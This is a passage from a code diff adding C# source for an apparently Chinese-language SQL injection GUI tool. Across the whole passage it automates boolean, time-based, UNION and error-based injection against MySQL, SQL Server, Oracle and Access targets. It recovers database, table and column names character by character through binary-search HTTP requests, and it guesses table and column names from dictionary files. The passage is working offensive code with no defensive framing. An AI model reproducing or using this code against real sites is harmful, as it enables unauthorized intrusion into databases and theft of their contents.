config.maxTime); + } + + + //判断当前数据库长度限制1-50 + int len = getValue(payload_len, 1, 50); + this.Invoke(new StringDelegate(log), "数据库" + (db_index + 1) + "长度为-----:" + len); + + //判断当前数据库对应的ascii码 + String va_payload = MySQL5.ver_value.Replace("{data}", MySQL5.db_value.Replace("{index}", oindex.ToString())); + if (config.keyType.Equals(KeyType.Time)) + { + va_payload = MySQL5.getBoolCountBySleep(MySQL5.bool_value.Replace("{data}", MySQL5.db_value.Replace("{index}", oindex.ToString())), config.maxTime); + } + String value = ""; + //获取值 + for (int i = 1; i <= len; i++) + { + if (status != 1) + { + break; + } + //取值payload,替换对应下标值 + String tmp_va_payload = va_payload.Replace("{index}", i + ""); + int ascii = getValue(tmp_va_payload, 0, 128); + value += ((char)ascii).ToString(); + } + this.Invoke(new StringDelegate(log), "数据库" + db_index + "的名称为:" + value); + this.Invoke(new addDBToTreeListDelegate(addDBToTreeList), value); + + } + catch (Exception e) + { + + this.Invoke(new StringDelegate(log), "获取数据库名称时发生异常:" + e.Message); + } + } + + + /// + /// 获取数据库名称mssql + /// + /// 下标 + public void getDBNameByBoolBySQLServer(Object oindex) + { + try + { + int db_index = int.Parse(oindex.ToString()); + //判断对应下标的数据库长度 + String data_payload = MSSQL.db_value.Replace("{index}", db_index.ToString()); + int len = getValueByStepUp(MSSQL.bool_length.Replace("{data}", data_payload), 0, 10); + + this.Invoke(new StringDelegate(log), "数据库" + db_index + "长度为-----:" + len); + + //判断当前数据库对应的ascii码 + String va_payload = MSSQL.bool_value.Replace("{data}", MSSQL.db_value.Replace("{index}", oindex.ToString())); + String value = ""; + //获取值 + for (int i = 1; i <= len; i++) + { + if (status != 1) + { + break; + } + //取值payload,替换对应下标值 + //select UNICODE(substring(@@version,{index},1)) + //取值payload,替换对应下标值 + String unicode_data_payload = MSSQL.unicode_value.Replace("{index}", i + "").Replace("{data}", data_payload); + //取unicode转换后的长度 + String unicode_data_len_payload = MSSQL.bool_length.Replace("{data}", unicode_data_payload); + + //长度范围2-8支持大部分语言 + int unicode_data_len = getValue(unicode_data_len_payload, 1, 8); + int m_index = 1; + StringBuilder unicodes = new StringBuilder(); + while (m_index <= unicode_data_len && status == 1) + { + //获取多字节 + String substr_payload = MSSQL.substr.Replace("{data}", unicode_data_payload).Replace("{index}", m_index.ToString()); + //单个unicode值范围是0-9 + int unicode = getValue(MSSQL.bool_value.Replace("{data}", substr_payload), 0, 9); + unicodes.Append(unicode.ToString()); + m_index++; + } + + if (Tools.convertToInt(unicodes.ToString()) > 255) + { + value += Tools.unHexByUnicode(int.Parse(unicodes.ToString()), config.db_encoding); + } + else + { + value += (char)Tools.convertToInt(unicodes.ToString()); + } + } + this.Invoke(new StringDelegate(log), "数据库" + db_index + "的名称为:" + value); + this.Invoke(new addDBToTreeListDelegate(addDBToTreeList), value); + + } + catch (Exception e) + { + + this.Invoke(new StringDelegate(log), "获取数据库名称时发生异常:" + e.Message); + } + } + + /// + /// 获取数据库名称 + /// + /// 下标limit + public void getDBNameByBoolByOracle(Object oindex) + { + try + { + int db_index = int.Parse(oindex.ToString()); + //判断对应下标的数据库长度 + String payload_len = Oracle.bool_length.Replace("{data}", Oracle.db_value.Replace("{index}", oindex.ToString())); + + //判断当前数据库长度限制1-50 + int len = getValue(payload_len, 1, 50); + this.Invoke(new StringDelegate(log), "数据库" + (db_index + 1) + "长度为-----:" + len); + + //判断当前数据库对应的ascii码 + String va_payload = Oracle.bool_value.Replace("{data}", Oracle.db_value.Replace("{index}", oindex.ToString())); + String value = ""; + //获取值 + for (int i = 1; i <= len; i++) + { + if (status != 1) + { + break; + } + //取值payload,替换对应下标值 + String tmp_va_payload = va_payload.Replace("{index}", i + ""); + int ascii = getValue(tmp_va_payload, 0, 128); + value += ((char)ascii).ToString(); + } + this.Invoke(new StringDelegate(log), "数据库" + db_index + "的名称为:" + value); + this.Invoke(new addDBToTreeListDelegate(addDBToTreeList), value); + + } + catch (Exception e) + { + + this.Invoke(new StringDelegate(log), "获取数据库名称时发生异常:" + e.Message); + } + } + + + /// + /// 获取数据库名称Union方式MySQL + /// + /// 下标limit + public void getDBNameByUnionByMySQL(Object oindex) + { + try + { + //获取数据库数量 + List data_list = new List(); + data_list.Add(MySQL5.db_value.Replace("{index}", oindex.ToString())); + String db_Name_data = MySQL5.creatMySQLColumnsStrByUnion(config.columnsCount, config.showColumn, "1", data_list, null, null, -1); + String result = getOneDataByUnionOrError(MySQL5.union_value.Replace("{data}", db_Name_data)); + this.Invoke(new StringDelegate(log), "数据库" + oindex + "的名称为:" + result); + this.Invoke(new addDBToTreeListDelegate(addDBToTreeList), result); + } + catch (Exception e) + { + + this.Invoke(new StringDelegate(log), "获取数据库名称时发生异常:" + e.Message); + } + } + + /// + /// 获取数据库名称Union方式SQLServer + /// + /// 下标limit + public void getDBNameByUnionBySQLServer(Object oindex) + { + try + { + //获取数据库数量 + String result = getOneDataByUnionOrError(MSSQL.getUnionDataValue(config.columnsCount, config.showColumn, 1, MSSQL.db_value, "", "", oindex.ToString())); + this.Invoke(new StringDelegate(log), "数据库" + oindex + "的名称为:" + result); + this.Invoke(new addDBToTreeListDelegate(addDBToTreeList), result); + } + catch (Exception e) + { + + this.Invoke(new StringDelegate(log), "获取数据库名称时发生异常:" + e.Message); + } + } + + /// + /// 获取数据库名称Union方式Oracle + /// + /// 下标limit + public void getDBNameByUnionByOracle(Object oindex) + { + try + { + //获取数据库数量 + String result = getOneDataByUnionOrError(Oracle.getUnionDataValue(config.columnsCount, config.showColumn, Oracle.db_value, "", "", oindex.ToString())); + this.Invoke(new StringDelegate(log), "数据库" + oindex + "的名称为:" + result); + this.Invoke(new addDBToTreeListDelegate(addDBToTreeList), result); + } + catch (Exception e) + { + + this.Invoke(new StringDelegate(log), "获取数据库名称时发生异常:" + e.Message); + } + } + + + /// + /// 获取数据库名称Error方式mysql + /// + /// 下标limit + public void getDBNameByErrorByMySQL(Object oindex) + { + try + { + List data_list = new List(); + data_list.Add(MySQL5.db_value.Replace("{index}", oindex.ToString())); + String db_Name_data = MySQL5.creatMySQLColumnsStrByError(data_list, null, null, -1); + String result = getOneDataByUnionOrError(MySQL5.error_value.Replace("{data}", db_Name_data)); + this.Invoke(new StringDelegate(log), "数据库" + oindex + "的名称为:" + result); + this.Invoke(new addDBToTreeListDelegate(addDBToTreeList), result); + } + catch (Exception e) + { + + this.Invoke(new StringDelegate(log), "获取数据库名称时发生异常:" + e.Message); + } + } + + /// + /// 获取数据库名称Error方式mysql + /// + /// 下标limit + public void getDBNameByErrorBySQLServer(Object oindex) + { + try + { + String result = getOneDataByUnionOrError(MSSQL.error_value.Replace("{data}", MSSQL.db_value.Replace("{index}", oindex.ToString()))); + //HTML解码 + result = HttpUtility.HtmlDecode(result); + this.Invoke(new StringDelegate(log), "数据库" + oindex + "的名称为:" + result); + this.Invoke(new addDBToTreeListDelegate(addDBToTreeList), result); + } + catch (Exception e) + { + + this.Invoke(new StringDelegate(log), "获取数据库名称时发生异常:" + e.Message); + } + } + + /// + /// 获取数据库名称Error方式oracle + /// + /// 下标limit + public void getDBNameByErrorByOracle(Object oindex) + { + try + { + String result = getOneHexDataByUnionOrError(Oracle.getErrorDataValue(Oracle.db_value, "", "", oindex.ToString())); + //HTML解码 + result = HttpUtility.HtmlDecode(result); + this.Invoke(new StringDelegate(log), "数据库" + oindex + "的名称为:" + result); + this.Invoke(new addDBToTreeListDelegate(addDBToTreeList), result); + } + catch (Exception e) + { + + this.Invoke(new StringDelegate(log), "获取数据库名称时发生异常:" + e.Message); + } + } + + + + /// + /// bool方式获取mysql表 + /// + /// + public void getTableNameValueByBoolByMySQL(Object osn) + { + + try + { + SelectNode sn = (SelectNode)osn; + int selectIndex = sn.tn.Index; + //判断当前表长度 + String data_payload = MySQL5.table_value.Replace("'{dbname}'", Tools.strToHex(sn.dbname, "UTF-8")).Replace("{index}", sn.limit + ""); + int len = 0; + if (config.keyType.Equals(KeyType.Time)) + { + len = getValue(MySQL5.getBoolCountBySleep(MySQL5.bool_length.Replace("{data}", data_payload), config.maxTime), 1, 50); + } + else + { + len = getValue(MySQL5.ver_length.Replace("{data}", data_payload), 1, 50); + } + + + //判断当前数据库对应的ascii码 + String va_payload = MySQL5.ver_value.Replace("{data}", data_payload); + if (config.keyType.Equals(KeyType.Time)) + { + va_payload = MySQL5.getBoolCountBySleep(MySQL5.bool_value, config.maxTime).Replace("{data}", data_payload); + } + + String value = ""; + //获取值 + for (int i = 1; i <= len; i++) + { + //取值payload,替换对应下标值 + String tmp_va_payload = va_payload.Replace("{index}", i + ""); + int ascii = getValue(tmp_va_payload, 0, 128); + value += ((char)ascii).ToString(); + } + this.Invoke(new StringDelegate(log), "数据库" + sn.dbname + "发现表:" + value); + this.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), sn.tn, value, "table"); + + } + catch (Exception e) + { + + this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + } + } + + /// + /// bool方式获取oracle表 + /// + /// + public void getTableNameValueByBoolByOracle(Object osn) + { + + try + { + SelectNode sn = (SelectNode)osn; + int selectIndex = sn.tn.Index; + //判断当前表长度 + String data_payload = Oracle.table_value.Replace("{dbname}", sn.dbname).Replace("{index}", sn.limit + ""); + int len = getValue(Oracle.bool_length.Replace("{data}", data_payload), 1, 50); + + //判断当前数据库对应的ascii码 + String va_payload = Oracle.bool_value.Replace("{data}", data_payload); + String value = ""; + //获取值 + for (int i = 1; i <= len; i++) + { + //取值payload,替换对应下标值 + String tmp_va_payload = va_payload.Replace("{index}", i + ""); + int ascii = getValue(tmp_va_payload, 0, 128); + value += ((char)ascii).ToString(); + } + this.Invoke(new StringDelegate(log), "数据库" + sn.dbname + "发现表:" + value); + this.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), sn.tn, value, "table"); + + } + catch (Exception e) + { + + this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + } + } + + + public void getTableNameValueByBoolBySQLServer(Object osn) + { + + try + { + SelectNode sn = (SelectNode)osn; + //判断当前表长度 + String data_payload = MSSQL.table_value.Replace("{index}", sn.limit.ToString()).Replace("{dbname}", sn.dbname); + int len = getValueByStepUp(MSSQL.bool_length.Replace("{data}", data_payload), 0, 10); + String value = ""; + //获取值 + for (int i = 1; i <= len; i++) + { + //取值payload,替换对应下标值 + //select UNICODE(substring(@@version,{index},1)) + //取值payload,替换对应下标值 + String unicode_data_payload = MSSQL.unicode_value.Replace("{index}", i + "").Replace("{data}", data_payload); + //取unicode转换后的长度 + String unicode_data_len_payload = MSSQL.bool_length.Replace("{data}", unicode_data_payload); + + //长度范围2-8支持大部分语言 + int unicode_data_len = getValue(unicode_data_len_payload, 1, 8); + int m_index = 1; + StringBuilder unicodes = new StringBuilder(); + while (m_index <= unicode_data_len) + { + //获取多字节 + String substr_payload = MSSQL.substr.Replace("{data}", unicode_data_payload).Replace("{index}", m_index.ToString()); + //单个unicode值范围是0-9 + int unicode = getValue(MSSQL.bool_value.Replace("{data}", substr_payload), 0, 9); + unicodes.Append(unicode.ToString()); + m_index++; + } + + if (Tools.convertToInt(unicodes.ToString()) > 255) + { + value += Tools.unHexByUnicode(int.Parse(unicodes.ToString()), config.db_encoding); + } + else + { + value += (char)Tools.convertToInt(unicodes.ToString()); + } + } + this.Invoke(new StringDelegate(log), "数据库" + sn.dbname + "发现表:" + value); + this.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), sn.tn, value, "table"); + + } + catch (Exception e) + { + + this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + } + } + + + + /// + /// 获取表名,多线程调用mysql + /// + /// + public void getTableNameValueByUnionByMySQL(Object osn) + { + + SelectNode sn = (SelectNode)osn; + List data_list = new List(); + data_list.Add(MySQL5.table_value.Replace("'{dbname}'", Tools.strToHex(sn.dbname, "UTF-8")).Replace("{index}", sn.limit.ToString())); + String tables_value_payload = MySQL5.creatMySQLColumnsStrByUnion(config.columnsCount, config.showColumn, "1", data_list, null, null, -1); + String result = getOneDataByUnionOrError(MySQL5.union_value.Replace("{data}", tables_value_payload)); + + this.Invoke(new StringDelegate(log), "数据库" + sn.dbname + "发现表:" + result); + this.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), sn.tn, result, "table"); + } + /// + /// 获取表名,多线程调用sqlserver + /// + /// + public void getTableNameValueByUnionBySQLServer(Object osn) + { + + SelectNode sn = (SelectNode)osn; + String tables_value_payload = MSSQL.getUnionDataValue(config.columnsCount, config.showColumn, 1, MSSQL.table_value, sn.dbname, sn.tableName, sn.limit.ToString()); + String result = getOneDataByUnionOrError(tables_value_payload); + + this.Invoke(new StringDelegate(log), "数据库" + sn.dbname + "发现表:" + result); + this.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), sn.tn, result, "table"); + } + + /// + /// 获取表名,多线程调用sqlserver + /// + /// + public void getTableNameValueByUnionByOracle(Object osn) + { + + SelectNode sn = (SelectNode)osn; + String tables_value_payload = Oracle.getUnionDataValue(config.columnsCount, config.showColumn, Oracle.table_value, sn.dbname, "", sn.limit.ToString()); + String result = getOneDataByUnionOrError(tables_value_payload); + + this.Invoke(new StringDelegate(log), "用户" + sn.dbname + "发现表:" + result); + this.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), sn.tn, result, "table"); + } + + public void getTableNameValueByErrorByMySQL(Object osn) + { + + SelectNode sn = (SelectNode)osn; + List data_list = new List(); + data_list.Add(MySQL5.table_value.Replace("'{dbname}'", Tools.strToHex(sn.dbname, "UTF-8")).Replace("{index}", sn.limit.ToString())); + String table_value_payload = MySQL5.creatMySQLColumnsStrByError(data_list, null, null, -1); + String result = getOneDataByUnionOrError(MySQL5.error_value.Replace("{data}", table_value_payload)); + + this.Invoke(new StringDelegate(log), "数据库" + sn.dbname + "发现表:" + result); + this.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), sn.tn, result, "table"); + } + + public void getTableNameValueByErrorBySQLServer(Object osn) + { + + SelectNode sn = (SelectNode)osn; + List data_list = new List(); + String result = getOneDataByUnionOrError(MSSQL.error_value.Replace("{data}", MSSQL.table_value.Replace("{dbname}", sn.dbname).Replace("{index}", sn.limit.ToString()))); + + this.Invoke(new StringDelegate(log), "数据库" + sn.dbname + "发现表:" + result); + this.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), sn.tn, result, "table"); + } + + public void getTableNameValueByErrorByOracle(Object osn) + { + + SelectNode sn = (SelectNode)osn; + List data_list = new List(); + String result = getOneHexDataByUnionOrError(Oracle.getErrorDataValue(Oracle.table_value, sn.dbname, "", sn.limit.ToString())); + + this.Invoke(new StringDelegate(log), "数据库" + sn.dbname + "发现表:" + result); + this.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), sn.tn, result, "table"); + } + + + delegate void addNodeToTreeListDelegate(TreeNode tn, String text, String type); + + public void addNodeToTreeList(TreeNode tn, String text, String type) + { + TreeNode stn = new TreeNode(text); + stn.Tag = type; + if ("dbs".Equals(type)) + { + stn.ImageIndex = 4; + } + else if ("table".Equals(type)) + { + stn.ImageIndex = 1; + } + else if ("column".Equals(type)) + { + stn.ImageIndex = 2; + } + tn.Nodes.Add(stn); + tn.Expand(); + } + + + /// + /// 二分法判断 + /// + /// 获取数据paylaod + /// 开始值 + /// 最大值 + /// + public int getValue(String payLoadStr, int start, int end) + { + int len = 0; + String payload = ""; + int min = start; + int olen = 0; + while (status == 1) + { + //2分法获取中间数字 + len = Tools.getLargeNum(start, end); + if (olen == len) + { + len = end; + break; + } + olen = len; + payload = payLoadStr.Replace("{len}", len + ""); + ServerInfo server = HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, payload, config.request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); + Boolean exists = Tools.isTrue(server, config.key, config.reverseKey, config.keyType); + if (exists) + { + if (len == start) + { + return end; + } + start = len; + } + else + { + if (len == start) + { + return len; + } + end = len; + } + } + return len; + + } + + delegate void addDBToTreeListDelegate(String dbName); + public void addDBToTreeList(String dbName) + { + + TreeNode tn = new TreeNode(dbName); + tn.Tag = "dbs"; + this.data_tvw_dbs.Nodes.Add(tn); + + } + + + /// + /// 递增获取值 + /// + /// 获取数据paylaod + /// 开始值 + /// 最大值 + /// + public int getValueByStepUp(String payLoadStr, int start, int step) + { + int len = 0; + int starts = start; + String payload = ""; + while (status == 1) + { + payload = payLoadStr.Replace("{len}", start + ""); + ServerInfo server = HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, payload, config.request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); + if (Tools.isTrue(server, config.key, config.reverseKey, config.keyType)) + { + start += step; + } + else + { + + //确定范围了 + int s = start - step; + if (start <= 0) + { + break; + } + else + { + len = getValue(payLoadStr, s, start); + break; + } + } + } + return len; + } + + public delegate void sendHTTPLogDelegate(String index, ServerInfo server, String payload); + + public void sendHTTPLog(String index, ServerInfo server, String payload) + { + ListViewItem lvi = new ListViewItem(index); + lvi.Tag = index; + lvi.SubItems.Add(payload); + lvi.SubItems.Add(server.runTime + ""); + lvi.SubItems.Add(server.code + ""); + lvi.SubItems.Add(server.length + ""); + lvi.SubItems.Add(server.sleepTime.ToString()); + this.log_lvw_httpLog.Items.Add(lvi); + } + + + public Boolean findKeyInBody(String payLoadStr, int num) + { + + String payload = payLoadStr.Replace("{len}", num + ""); ; + while (status == 1) + { + ServerInfo server = null; + int tryCount = 0; + while (tryCount <= config.reTry) + { + try + { + server = HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, payload, config.request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); + break; + } + catch (Exception e) + { + tryCount++; + this.Invoke(new StringDelegate(log), "发包失败!异常:" + e.Message); + } + } + if (server == null) + { + return false; + } + + return Tools.isTrue(server, config.key, config.reverseKey, config.keyType); + + } + return false; + + } + + public Boolean findKeyInBody(String payLoadStr) + { + while (true) + { + ServerInfo server = null; + int tryCount = 0; + while (tryCount <= config.reTry) + { + try + { + server = HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, payLoadStr, config.request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); + break; + } + catch (Exception e) + { + tryCount++; + this.Invoke(new StringDelegate(log), "发包失败!异常:" + e.Message); + } + } + if (server == null) + { + return false; + } + + return Tools.isTrue(server, config.key, config.reverseKey, config.keyType); + + } + + } + + public delegate void StringDelegate(String str); + public void log(String log) + { + if (config.isOpenInfoLog) + { + if (this.txt_log.Left > 10000) + { + this.txt_log.Text = ""; + } + this.txt_log.AppendText(@log + "----" + DateTime.Now + "\r\n"+FileTool.error); + } + } + + public Boolean isSetInjectPoint() + { + + if (this.txt_inject_request.Text.IndexOf(setInjectStr) == -1) + { + MessageBox.Show("未设置注入点!"); + return false; + } + else + { + return true; + } + + } + + + private void btn_inject_setInject_Click(object sender, EventArgs e) + { + this.txt_inject_request.Text = this.txt_inject_request.Text.Insert(this.txt_inject_request.SelectionStart, setInjectStr); + } + + private void btn_inject_setEncodingRange_Click(object sender, EventArgs e) + { + + this.txt_inject_request.SelectedText = "" + this.txt_inject_request.SelectedText + ""; + } + + AddNode an = null; + + private void data_dbs_tsmi_deleteNode_Click(object sender, EventArgs e) + { + if (this.data_tvw_dbs.SelectedNode != null) + { + + this.data_tvw_dbs.SelectedNode.Remove(); + } + } + public void getDBSByError(DBType dbType) + { + //获取数据库数量 + List data_list = new List(); + String db_Count_data = ""; + String result = ""; + int db_len = 0; + switch (dbType) + { + case DBType.Access: + MessageBox.Show("抱歉Access数据库,不支持错误显示注入!"); + break; + case DBType.MySQL4: + MessageBox.Show("抱歉MySQL4数据库,不支持错误显示注入!"); + break; + case DBType.MySQL5: + + data_list.Add(MySQL5.dbs_count); + db_Count_data = MySQL5.creatMySQLColumnsStrByError(data_list, null, null, -1); + result = getOneDataByUnionOrError(MySQL5.error_value.Replace("{data}", db_Count_data)); + this.Invoke(new StringDelegate(log), "报告大侠,我发现了" + result + "个数据库!"); + db_len = Tools.convertToInt(result); + this.dbsCount = db_len; + if (db_len > 0) + { + for (int j = 0; j < db_len; j++) + { + //获取对应的数据库 + + MyThreadPool.initThread(new ParameterizedThreadStart(getDBNameByErrorByMySQL), j); + } + + } + else + { + MessageBox.Show("没有发现数据库,奇怪了!"); + } + break; + case DBType.SQLServer: + //获取数据库数量 + result = getOneDataByUnionOrError(MSSQL.error_value.Replace("{data}", MSSQL.dbs_count)); + this.Invoke(new StringDelegate(log), "报告大侠,我发现了" + result + "个数据库!"); + db_len = Tools.convertToInt(result); + this.dbsCount = db_len; + if (db_len > 0) + { + //注意这里db_name()下标从1开始 + for (int j = 1; j <= db_len; j++) + { + //获取对应的数据库 + MyThreadPool.initThread(new ParameterizedThreadStart(getDBNameByErrorBySQLServer), j); + } + + } + else + { + MessageBox.Show("没有发现数据库,奇怪了!"); + } + break; + case DBType.Oracle: + //获取数据库数量 + result = getOneHexDataByUnionOrError(Oracle.getErrorDataValue(Oracle.dbs_count, "", "", "")); + this.Invoke(new StringDelegate(log), "报告大侠,我发现了" + result + "个数据库用户!"); + db_len = Tools.convertToInt(result); + this.dbsCount = db_len; + if (db_len > 0) + { + //下标从1开始 + for (int j = 1; j <= db_len; j++) + { + //获取对应的数据库 + MyThreadPool.initThread(new ParameterizedThreadStart(getDBNameByErrorByOracle), j); + } + + } + else + { + MessageBox.Show("没有发现数据库,奇怪了!"); + } + break; + } + + } + public void getDBSByUnion(DBType dbType) + { + List data_list = new List(); + String db_Count_data = ""; + String result = ""; + int db_len = 0; + switch (dbType) + { + case DBType.Access: + break; + case DBType.MySQL4: + break; + case DBType.MySQL5: + //获取数据库数量 + data_list.Add(MySQL5.dbs_count); + db_Count_data = MySQL5.creatMySQLColumnsStrByUnion(config.columnsCount, config.showColumn, "1", data_list, null, null, -1); + result = getOneDataByUnionOrError(MySQL5.union_value.Replace("{data}", db_Count_data)); + + this.Invoke(new StringDelegate(log), "报告大侠,我发现了" + result + "个数据库!"); + db_len = Tools.convertToInt(result); + this.dbsCount = db_len; + if (db_len > 0) + { + for (int j = 0; j < db_len; j++) + { + //获取对应的数据库 + MyThreadPool.initThread(new ParameterizedThreadStart(getDBNameByUnionByMySQL), j); + } + } + else + { + MessageBox.Show("没有发现数据库,奇怪了!"); + } + break; + case DBType.SQLServer: + //获取数据库数量 + result = getOneDataByUnionOrError(MSSQL.getUnionDataValue(config.columnsCount, config.showColumn, 1, MSSQL.dbs_count)); + + this.Invoke(new StringDelegate(log), "报告大侠,我发现了" + result + "个数据库!"); + db_len = Tools.convertToInt(result); + this.dbsCount = db_len; + if (db_len > 0) + { + for (int j = 1; j <= db_len; j++) + { + //获取对应的数据库 + MyThreadPool.initThread(new ParameterizedThreadStart(getDBNameByUnionBySQLServer), j); + } + } + else + { + MessageBox.Show("没有发现数据库,奇怪了!"); + } + break; + case DBType.Oracle: + //获取数据库数量 + result = getOneDataByUnionOrError(Oracle.getUnionDataValue(config.columnsCount, config.showColumn, Oracle.dbs_count, "", "", "")); + + this.Invoke(new StringDelegate(log), "报告大侠,我发现了" + result + "个数据库用户!"); + db_len = Tools.convertToInt(result); + this.dbsCount = db_len; + if (db_len > 0) + { + for (int j = 1; j <= db_len; j++) + { + //获取对应的数据库 + MyThreadPool.initThread(new ParameterizedThreadStart(getDBNameByUnionByOracle), j); + } + } + else + { + MessageBox.Show("没有发现数据库,奇怪了!"); + } + break; + } + + } + public void getDBSByBool(DBType dbType) + { + int db_len = 0; + switch (dbType) + { + + case DBType.Access: + MessageBox.Show("Access数据库没有库!"); + break; + case DBType.MySQL4: + + break; + case DBType.MySQL5: + //获取数据库数量 + if (KeyType.Time.Equals(config.keyType)) + { + db_len = getValueByStepUp(MySQL5.getBoolCountBySleep(MySQL5.dbs_count, config.maxTime), 0, 10); + } + else + { + db_len = getValueByStepUp(MySQL5.bool_db_count, 0, 10); + } + + this.Invoke(new StringDelegate(log), "报告大侠,我发现了" + db_len + "个数据库!"); + this.dbsCount = db_len; + if (db_len > 0) + { + for (int j = 0; j < db_len; j++) + { + //获取对应的数据库 + MyThreadPool.initThread(new ParameterizedThreadStart(getDBNameByBoolByMySQL), j); + } + + } + else + { + MessageBox.Show("没有发现数据库,奇怪了!"); + } + break; + case DBType.SQLServer: + db_len = getValueByStepUp(MSSQL.bool_db_count, 0, 10); + this.Invoke(new StringDelegate(log), "报告大侠,我发现了" + db_len + "个数据库!"); + this.dbsCount = db_len; + if (db_len > 0) + { + for (int j = 1; j <= db_len; j++) + { + //获取对应的数据库 + MyThreadPool.initThread(new ParameterizedThreadStart(getDBNameByBoolBySQLServer), j); + } + + } + else + { + MessageBox.Show("没有发现数据库,奇怪了!"); + } + break; + case DBType.Oracle: + db_len = getValueByStepUp(Oracle.bool_db_count, 0, 10); + this.Invoke(new StringDelegate(log), "报告大侠,我发现了" + db_len + "个数据库!"); + this.dbsCount = db_len; + if (db_len > 0) + { + //db下标从1开始 + for (int j = 1; j <= db_len; j++) + { + //获取对应的数据库 + MyThreadPool.initThread(new ParameterizedThreadStart(getDBNameByBoolByOracle), j); + } + + } + else + { + MessageBox.Show("没有发现数据库,奇怪了!"); + } + break; + } + } + + public void checkTableIsExis(object osn) + { + SelectNode sn = (SelectNode)osn; + String payload = String.Format(Comm.exists_table, sn.tableName); + bool findKey = findKeyInBody(payload); + if (findKey) + { + this.Invoke(new showLogDelegate(log), "发现表:" + sn.tableName); + this.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), sn.tn, sn.tableName, "table"); + } + + } + + public void checkColumnIsExis(object osn) + { + SelectNode sn = (SelectNode)osn; + String payload = String.Format(Comm.exists_column, sn.columnName, sn.tableName); + bool findKey = findKeyInBody(payload); + if (findKey) + { + this.Invoke(new showLogDelegate(log), "表" + sn.tableName + "发现列:" + sn.columnName); + this.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), sn.tn, sn.columnName, "column"); + } + + } + + + public void checkTablesDic(TreeNode tn) + { + + //加载字典 + List dirs = FileTool.readAllDic("config/tables/"); + foreach (String fpath in dirs) + { + if (status != 1) break; + this.Invoke(new StringDelegate(log), "正在使用字典" + fpath + "进行盲猜!"); + List tables = FileTool.readFileToList("config/tables/" + fpath); + comm_count = tables.Count; + for (int i = 0; i < tables.Count; i++) + { + SelectNode sn = new SelectNode(); + sn.tableName = tables[i]; + sn.tn = tn; + MyThreadPool.initThread(new ParameterizedThreadStart(checkTableIsExis), sn); + comm_currentCount = i + 1; + } + } + + } + + public void checkColumnsDic(TreeNode tn) + { + + //加载字典 + List dirs = FileTool.readAllDic("config/columns/"); + foreach (String fpath in dirs) + { + if (status != 1) break; + this.Invoke(new StringDelegate(log), "正在使用字典" + fpath + "进行盲猜!"); + List columns = FileTool.readFileToList("config/columns/" + fpath); + comm_count = columns.Count; + for (int i = 0; i < columns.Count; i++) + { + SelectNode sn = new SelectNode(); + sn.columnName = columns[i]; + sn.tableName = tn.Text; + sn.tn = tn; + MyThreadPool.initThread(new ParameterizedThreadStart(checkColumnIsExis), sn); + comm_currentCount = i + 1; + } + } + + } + + /// + /// bool方式获取表明 + /// + /// 数据库节点 + public void getTabeleNameByBool(DBType dbType, TreeNode tn) + { + //获取当前数据库长度 + String dbname = tn.Text; + int table_count = 0; + switch (dbType) + { + + case DBType.Access: + if (String.IsNullOrEmpty(config.key)) + { + MessageBox.Show(ErrorMessage.access_no_key); + return; + } + checkTablesDic(tn); + break; + case DBType.MySQL4: + + break; + case DBType.MySQL5: + //获取当前数据库长度 + + if (config.keyType.Equals(KeyType.Time)) + { + table_count = getValueByStepUp(MySQL5.getBoolCountBySleep(MySQL5.tables_count.Replace("'{dbname}'", Tools.strToHex(dbname, "UTF-8")), config.maxTime), 0, 50); + } + else + { + table_count = getValueByStepUp(MySQL5.bool_tables_count.Replace("'{dbname}'", Tools.strToHex(dbname, "UTF-8")), 0, 50); + } + + this.Invoke(new StringDelegate(log), "报告大侠,数据库" + dbname + "发现" + table_count + "个表!"); + for (int i = 0; i < table_count; i++) + { + SelectNode sn = new SelectNode(); + sn.tn = tn; + sn.limit = i; + sn.dbname = dbname; + MyThreadPool.initThread(new ParameterizedThreadStart(getTableNameValueByBoolByMySQL), sn); + } + break; + case DBType.SQLServer: + table_count = getValueByStepUp(MSSQL.bool_tables_count.Replace("{dbname}", dbname), 0, 50); + this.Invoke(new StringDelegate(log), "报告大侠,数据库" + dbname + "发现" + table_count + "个表!"); + for (int i = 0; i < table_count; i++) + { + SelectNode sn = new SelectNode(); + sn.tn = tn; + sn.limit = i; + sn.dbname = dbname; + MyThreadPool.initThread(new ParameterizedThreadStart(getTableNameValueByBoolBySQLServer), sn); + } + break; + case DBType.Oracle: + //获取当前数据库长度 + table_count = getValueByStepUp(Oracle.bool_tables_count.Replace("{dbname}", dbname), 0, 50); + this.Invoke(new StringDelegate(log), "报告大侠,数据库" + dbname + "发现" + table_count + "个表!"); + for (int i = 1; i <= table_count; i++) + { + SelectNode sn = new SelectNode(); + sn.tn = tn; + sn.limit = i; + sn.dbname = dbname; + MyThreadPool.initThread(new ParameterizedThreadStart(getTableNameValueByBoolByOracle), sn); + } + break; + } + + } + /// + /// union方式获取表名 + /// + public void getTabeleNameByUnion(DBType dbType, TreeNode tn) + { + String dbName = tn.Text; + List data_list = new List(); + String tables_count_payload = ""; + String result = ""; + int table_count = 0; + switch (dbType) + { + + case DBType.Access: + if (String.IsNullOrEmpty(config.key)) + { + MessageBox.Show(ErrorMessage.access_no_key); + return; + } + checkTablesDic(tn); + break; + case DBType.MySQL4: + + break; + case DBType.MySQL5: + //获取当前数据库表数量 + data_list.Add(MySQL5.tables_count.Replace("'{dbname}'", Tools.strToHex(dbName, 